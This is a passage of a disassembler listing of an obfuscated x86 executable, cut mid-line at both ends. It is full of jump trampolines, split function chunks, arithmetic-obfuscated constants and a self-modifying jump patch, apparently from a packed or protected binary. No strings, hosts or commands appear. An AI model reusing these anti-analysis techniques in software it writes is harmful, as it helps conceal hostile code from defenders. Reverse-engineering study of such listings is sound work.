0000000E BYTES ; FUNCTION CHUNK AT 00428B46 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428EBF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428F20 SIZE 0000000C BYTES push eax pop ecx call sub_425D27 loc_423265: ; CODE XREF: hjohnhn9:004280F1j jmp loc_427BBD sub_42325E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_42326A: ; CODE XREF: sub_4263E3:loc_426C9Bj ; sub_426D02+7F0j jmp loc_428DAB ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_42326F: ; CODE XREF: sub_4235C9:loc_426FC2j ror eax, 0Eh mov ds:dword_4233A8, eax retn ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B28 loc_423279: ; CODE XREF: sub_428B28+7j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_428B28 ; --------------------------------------------------------------------------- loc_42327E: ; CODE XREF: hjohnhn9:00425E01j jmp loc_4242C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423283: ; CODE XREF: sub_42325E+BF4j rol eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423288: ; CODE XREF: sub_4262C5:loc_42762Dj call sub_4246DB ; END OF FUNCTION CHUNK FOR sub_4262C5 ; START OF FUNCTION CHUNK FOR sub_426A30 loc_42328D: ; CODE XREF: sub_426A30:loc_427181j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_4247C1 jmp loc_4288AD ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_4232A1: ; CODE XREF: hjohnhn9:0042777Aj mov byte ptr [ecx], 0E9h pop ecx add esi, 306850C2h xchg esi, [esp] jmp nullsub_1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4232B4: ; CODE XREF: sub_4236A7+252j mov esi, [eax] push esi push 7F1739E3h pop esi add esi, 4759A1F6h jmp loc_424F57 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428357 loc_4232C8: ; CODE XREF: sub_428357+7j xor [ebp-8], eax call sub_4240BC locret_4232D0: ; CODE XREF: sub_423E64-4B9j retn ; END OF FUNCTION CHUNK FOR sub_428357 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4232D1: ; CODE XREF: sub_4251EB+E02j push esi jl loc_426A8A not esi loc_4232DA: ; CODE XREF: sub_4251EB:loc_425FDCj and eax, 0ECD35A9h call sub_423E64 locret_4232E5: ; CODE XREF: hjohnhn9:loc_423B39j retn ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4232E6: ; CODE XREF: sub_425CB3+18j jmp loc_4240D4 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4232EB: ; CODE XREF: sub_4265CD-677j mov edi, eax call sub_428DF9 ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_424631 loc_4232F2: ; CODE XREF: sub_424631-122Fj jmp loc_4244BE ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4232F7: ; CODE XREF: hjohnhn9:loc_42500Aj jnz loc_424D12 jmp loc_4268E0 ; --------------------------------------------------------------------------- loc_423302: ; DATA XREF: hjohnhn9:loc_424089o pop esi mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_424B6F ; --------------------------------------------------------------------------- xchg ebx, [esi] add ebp, ecx jmp sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_423320: ; CODE XREF: sub_42855B-2316j push ecx mov esp, ebp pop ebp mov eax, ds:dword_428B08 jmp loc_427707 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42332F: ; CODE XREF: sub_428183:loc_428B11j pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 ; --------------------------------------------------------------------------- loc_42333E: ; CODE XREF: sub_428183:loc_424EAAj push eax push 0 call sub_428192 push offset sub_428183 jmp loc_42335C ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423350: ; CODE XREF: sub_426354:loc_423451j jz loc_427951 jmp loc_4238BA ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- locret_42335B: ; CODE XREF: hjohnhn9:loc_4290E4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42335C: ; CODE XREF: sub_428183-4E38j jmp sub_4264AC ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423361: ; CODE XREF: sub_4250FC:loc_4268E0j shl edi, 1Eh jmp loc_424D11 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_423369 proc near ; CODE XREF: hjohnhn9:0042651Ej ; sub_427564p arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00423BE7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax call sub_427363 push ecx mov ecx, [esp+arg_C] mov dword ptr [ecx], 10001h lea eax, loc_423BFB jmp loc_423BE7 sub_423369 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_423388: ; CODE XREF: sub_423BC3:loc_42713Aj call sub_426638 pop es aad 0D7h ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- dword_423390 dd 3628EFCEh ; DATA XREF: sub_424698+C5r ; sub_427C9B+1174w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423394: ; CODE XREF: sub_424819+1C8Ej jmp loc_424967 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0E2h, 7Ah, 0FEh dword_42339C dd 6E65DF9Ch ; DATA XREF: sub_4263E3r sub_427FDD+4w dword_4233A0 dd 34EFCC2Dh ; DATA XREF: sub_426708:loc_4261BCr ; sub_426AF6+7w dword_4233A4 dd 0E8265DF9h ; DATA XREF: sub_426DFB-3960w ; sub_4237F4+45DFr dword_4233A8 dd 59BDDF9Ch ; DATA XREF: sub_4235C9-357w dword_4233AC dd 736A377Eh, 16D2E9h, 0A6610D00h, 88EFCFEh, 1191E9h, 33E8100h ; DATA XREF: hjohnhn9:00425CE0w ; hjohnhn9:00427E32r dword_4233C4 dd 0 ; DATA XREF: sub_428477:loc_4239D3w ; sub_424A28:loc_424824r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4233C8: ; CODE XREF: sub_426A78-4E6j jmp loc_4276FC ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- push eax jmp sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426924 loc_4233D3: ; CODE XREF: sub_426924+6j mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_28], eax call sub_4269BD ; END OF FUNCTION CHUNK FOR sub_426924 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4233E1: ; CODE XREF: sub_423B05+5299j jmp loc_427A44 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4233E6: ; CODE XREF: sub_4237F4:loc_4243EDj or dword ptr [eax-8], 4 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4233F8: ; CODE XREF: sub_424631:loc_426894j cmp dword ptr [ebp-14h], 4 jnz loc_424F28 jmp loc_4232F2 ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423408: ; CODE XREF: hjohnhn9:0042455Fj jmp loc_4239B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_42340D: ; CODE XREF: sub_4278B9:loc_423948j call sub_423425 mov [ebp-4], eax loc_423415: ; CODE XREF: sub_427E85-3CEBj ; sub_427463+Dj ... mov eax, [ebp-1Ch] call sub_427F90 mov [ebp-8], eax jmp loc_4282CE ; END OF FUNCTION CHUNK FOR sub_4278B9 ; =============== S U B R O U T I N E ======================================= sub_423425 proc near ; CODE XREF: sub_4278B9:loc_42340Dp ; sub_426CC8+4p ... ; FUNCTION CHUNK AT 004278D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282D8 SIZE 0000000B BYTES jns sub_428477 push ebp mov ebp, esp jmp loc_4278D7 sub_423425 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423433: ; CODE XREF: sub_427C9B:loc_427E76j jz loc_427C63 cmp eax, 3B5A44D1h jmp loc_424496 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_423444 proc near ; DATA XREF: sub_4275F9+16o ; FUNCTION CHUNK AT 004270EE SIZE 00000013 BYTES call sub_42345B jmp loc_4270EE sub_423444 endp ; --------------------------------------------------------------------------- loc_42344E: ; CODE XREF: hjohnhn9:loc_428440j pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423451: ; CODE XREF: sub_426354+1767j jmp loc_423350 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F3F loc_423456: ; CODE XREF: sub_425F3F+9j jmp loc_4244EE ; END OF FUNCTION CHUNK FOR sub_425F3F ; =============== S U B R O U T I N E ======================================= sub_42345B proc near ; CODE XREF: sub_423444p ; sub_424161:loc_424521j ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424145 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004243BD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426B55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FCF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042827F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428522 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00428892 SIZE 0000001B BYTES push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] jmp loc_426FCF sub_42345B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423466: ; CODE XREF: sub_4262C5:loc_424ADEj mov al, [eax] mov [ebp-9], al push offset sub_428D64 jmp loc_4251E6 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- mov eax, [ebp-4] jns loc_42410C push esi push 3EE8867Dh pop esi rol esi, 10h xor esi, 867D3EC0h add eax, esi jmp loc_424089 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DFB loc_423495: ; CODE XREF: sub_426DFB:loc_4234A2j xchg ebp, [esp+0] ror eax, 12h mov ds:dword_4233A4, eax retn ; --------------------------------------------------------------------------- loc_4234A2: ; CODE XREF: sub_426DFB:loc_426E02j jmp loc_423495 ; END OF FUNCTION CHUNK FOR sub_426DFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4234A7: ; CODE XREF: sub_4250FC+15j jmp loc_426912 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240BC loc_4234AC: ; CODE XREF: sub_4240BC+13j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_4240BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4234B1: ; CODE XREF: sub_424161:loc_4279DEj push eax push 0EB0820C5h pop eax and eax, 6CD12092h jmp loc_429022 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_4234C3: ; CODE XREF: hjohnhn9:0042798Fj push ebp cdq jmp loc_42750E ; =============== S U B R O U T I N E ======================================= sub_4234CA proc near ; CODE XREF: sub_427B51+62Dj push ebp mov eax, [ebp-20h] call sub_424A78 sub_4234CA endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423FB9 loc_4234D3: ; CODE XREF: sub_423FB9+Fj ; sub_4260BD-201Aj jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4234D8: ; CODE XREF: sub_426475:loc_423027j call sub_4260BD mov ebx, eax call sub_424AAE xor ebx, eax mov [ebp-0Ch], ebx push eax mov eax, ecx jmp loc_425E69 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D17 loc_4234F1: ; CODE XREF: sub_426D17+13j mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 ; END OF FUNCTION CHUNK FOR sub_426D17 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423505: ; CODE XREF: sub_423B05-A31j mov ds:dword_4252D0, eax retn ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_42350B: ; CODE XREF: sub_428271-41FBj jmp loc_4280F6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jmp loc_428050 ; --------------------------------------------------------------------------- loc_423515: ; CODE XREF: hjohnhn9:00425DD3j call sub_424877 jmp loc_4237EF ; =============== S U B R O U T I N E ======================================= sub_42351F proc near ; CODE XREF: sub_425EA9-16A2p ; FUNCTION CHUNK AT 00425D42 SIZE 00000005 BYTES push ebx push ecx push offset loc_424904 jmp loc_425D42 sub_42351F endp ; --------------------------------------------------------------------------- loc_42352B: ; CODE XREF: hjohnhn9:00427AB0j cdq pop esi ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42352D: ; CODE XREF: sub_4265CD:loc_427A9Cj add eax, 8D6353E5h loc_423533: ; CODE XREF: hjohnhn9:loc_428F2Cj mov eax, [eax] or eax, eax jnz loc_425F4D jmp loc_424449 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423542: ; CODE XREF: hjohnhn9:004245B5j jnb loc_4238C1 ; =============== S U B R O U T I N E ======================================= sub_423548 proc near ; CODE XREF: sub_424631+3344p xchg ecx, [esp+0] pop ecx call sub_424A28 loc_423551: ; CODE XREF: sub_4262C5:loc_423C0Dj jmp loc_427569 sub_423548 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423556: ; CODE XREF: hjohnhn9:00425B9Dj or edi, 0E6A75A88h ; =============== S U B R O U T I N E ======================================= sub_42355C proc near ; CODE XREF: sub_4266B5:loc_424913p ; FUNCTION CHUNK AT 00424E9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C18 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425C40 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425E06 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042607D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042743B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428542 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push 0A97A0725h pop eax xor eax, 0B4A5B546h jmp loc_42743B sub_42355C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_423571: ; CODE XREF: sub_427345:loc_42742Cj pop ecx add esi, 0D0CC96EAh and esi, 0DA1BA739h xor esi, 0D81BA029h xchg esi, [esp-4+arg_0] push offset sub_4240AE jmp loc_424FE8 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- loc_423591: ; CODE XREF: hjohnhn9:loc_425B52j and eax, edx jmp loc_428DA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0B loc_423598: ; CODE XREF: sub_428F0B+6j mov ebp, esp push ecx mov esp, ebp pop ebp push offset sub_4263E3 jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_428F0B ; --------------------------------------------------------------------------- mov eax, [ebp+0] jmp loc_4244FA ; --------------------------------------------------------------------------- loc_4235B0: ; DATA XREF: sub_423B6C+30CBo mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_427A6C inc dword ptr [ebp-8] ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_4235C0: ; CODE XREF: sub_426BD2+8j ; sub_427B7A:loc_42856Cj mov eax, [ebp-8] pop ecx loc_4235C4: ; CODE XREF: hjohnhn9:loc_423977j jmp loc_427A69 ; END OF FUNCTION CHUNK FOR sub_426BD2 ; =============== S U B R O U T I N E ======================================= sub_4235C9 proc near ; CODE XREF: hjohnhn9:00427871j ; hjohnhn9:00428C3Ap ; FUNCTION CHUNK AT 0042326F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC2 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push edi mov edi, eax xchg edi, [esp+0] jmp loc_426FC2 sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_4235D8 proc near ; CODE XREF: hjohnhn9:00423C51p ; hjohnhn9:00427068j ; FUNCTION CHUNK AT 00427EA6 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov ds:dword_423944, eax xor eax, eax jmp loc_427EA6 sub_4235D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 17B3C1CFh push ebp mov ebp, eax ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4235F0: ; CODE XREF: sub_4265CD:loc_425D6Fj xchg ebp, [esp+0] push 9622C161h pop eax xor eax, 94EB5D2Ah jmp loc_428576 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423604: ; CODE XREF: hjohnhn9:004290ECj jg loc_428892 pop ebx jmp sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428788 loc_423610: ; CODE XREF: sub_428788+18j call sub_4244F5 mov esp, ebp pop ebp push ds:dword_423954 retn ; END OF FUNCTION CHUNK FOR sub_428788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42361F: ; CODE XREF: sub_426C09:loc_424891j jl loc_428DA6 jmp loc_425E6E ; END OF FUNCTION CHUNK FOR sub_426C09 ; =============== S U B R O U T I N E ======================================= sub_42362A proc near ; CODE XREF: hjohnhn9:00423A93j ; sub_426F5A-1324p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042911D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] ror eax, 12h mov ds:dword_428B18, eax jmp loc_42911D sub_42362A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42363F proc near ; CODE XREF: sub_42897Bj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00424860 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424B8A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424FB4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425C7D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004265C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FB8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427491 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004279BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004289FD SIZE 00000007 BYTES push ebp loc_423640: ; CODE XREF: hjohnhn9:loc_427480j mov ebp, esp push ecx jmp loc_4279BB sub_42363F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423648: ; CODE XREF: sub_423B05+43EBj js loc_427BFB test edx, ebp jmp loc_423C5B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_423655 proc near ; CODE XREF: sub_424B30+Ap ; hjohnhn9:00424CC3j xchg ecx, [esp+0] pop ecx loc_423659: ; CODE XREF: sub_423B05:loc_423C5Bj mov esp, ebp pop ebp retn sub_423655 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42365D: ; CODE XREF: sub_426F5A-30B0j jmp loc_425C33 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423662: ; CODE XREF: sub_424631:loc_427DB3j cmp dword ptr [ebp-10h], 1 jnz loc_428C75 jmp loc_428C5E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42636C loc_423671: ; CODE XREF: sub_42636C+Bj xor ecx, 322A975Dh add ecx, 0BFC07BFDh xor ecx, 5EE2BF7Dh add ecx, 26B6512Fh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42636C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42368D: ; CODE XREF: sub_424631-14A9j jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_423692: ; CODE XREF: sub_42851A-1D45j rol eax, 11h jmp loc_42471C ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42369A: ; CODE XREF: sub_4287BF:loc_423022j mov [ebp-8], eax push offset sub_4250FC jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4236A7 proc near ; DATA XREF: hjohnhn9:00428A0Ao ; FUNCTION CHUNK AT 00423087 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004232B4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004238EB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423BF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424BAE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424F57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D7B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042706D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429027 SIZE 0000000B BYTES push ebp pop edx xchg edx, [esp+0] mov ebp, esp push ecx push ebp mov eax, [ebp+8] mov ecx, [eax] jmp loc_423BF6 sub_4236A7 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4236BB: ; CODE XREF: sub_423BC3+1Fj jz loc_42782B sub eax, 4DABBFC6h pushf jmp loc_426A84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- mov ds:dword_428AF0, eax cmp ds:dword_428AF0, 0 jnz loc_426FAD jmp loc_427FE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_4236E4: ; CODE XREF: sub_423D67:loc_423CC8j or edi, 4F1F9639h xor edi, 0A0E06186h xchg edi, [esp+0] push ebx push eax jmp loc_423201 ; END OF FUNCTION CHUNK FOR sub_423D67 ; --------------------------------------------------------------------------- dw 0E6C1h dd 6D830F15h, 0E8FFFFFAh, 47Ch, 2A108A0Fh, 0D2F70000h ; CODE XREF: sub_426D6A+17j ; hjohnhn9:00426D4Aj dd 5A486852h, 815A70AEh, 9A6ACACAh, 0E1EA813Ch, 810E56BBh dd 0A875E1C2h, 2C4FE9FDh, 0C870000h, 0C875924h, 0FDD6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_42373A: ; CODE XREF: sub_426749+1ACCj xor edx, edx call sub_427AEB loc_423741: ; CODE XREF: sub_426749+2709j mov eax, ds:dword_426E6C mov [ebp-4], eax push offset sub_426C5D jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_423753 proc near ; CODE XREF: sub_4260BD:loc_426D9Dp ; hjohnhn9:00428E2Dj ; FUNCTION CHUNK AT 00425CF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427229 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BAA SIZE 00000002 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-8], 0 jz loc_427951 jmp loc_425CF5 sub_423753 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423767: ; CODE XREF: sub_4287BF+1Cj jmp loc_429061 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_42376C: ; CODE XREF: sub_426CE6+1701j jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423771: ; CODE XREF: sub_425BD2+666j ; sub_427C9B+D57j ror eax, 11h mov ds:dword_428B08, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_42377B: ; CODE XREF: sub_426A78-1987j ; sub_427BCE:loc_427380j push offset sub_42442F jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423785: ; CODE XREF: sub_4278DC+270j ror eax, 0Bh push ecx push 76B591BBh pop ecx or ecx, 536FC631h jmp loc_428571 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_42379A: ; CODE XREF: hjohnhn9:loc_4237EFj mov edx, 0A22F8A70h call sub_427C53 mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 jmp loc_427C4D ; --------------------------------------------------------------------------- loc_4237BD: ; DATA XREF: sub_426354:loc_426E12o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax push offset sub_427A07 jmp locret_426EF8 ; --------------------------------------------------------------------------- sbb eax, 0F87F5BB0h jmp sub_427AC0 ; --------------------------------------------------------------------------- mov ebx, [ecx] jmp loc_426BF7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4237EA: ; CODE XREF: sub_42304F+4389j jmp loc_427102 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4237EF: ; CODE XREF: hjohnhn9:0042351Aj jmp loc_42379A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237F4 proc near ; CODE XREF: sub_423B05+40FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004233E6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423963 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A46 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C46 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042680E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426B24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427DD2 SIZE 00000014 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_426B24 sub_4237F4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423801: ; CODE XREF: hjohnhn9:00428491j jmp loc_427775 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_423806: ; CODE XREF: sub_427032+10j jmp loc_424480 ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_42380B: ; CODE XREF: sub_424A78+233Dj jmp loc_427637 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F 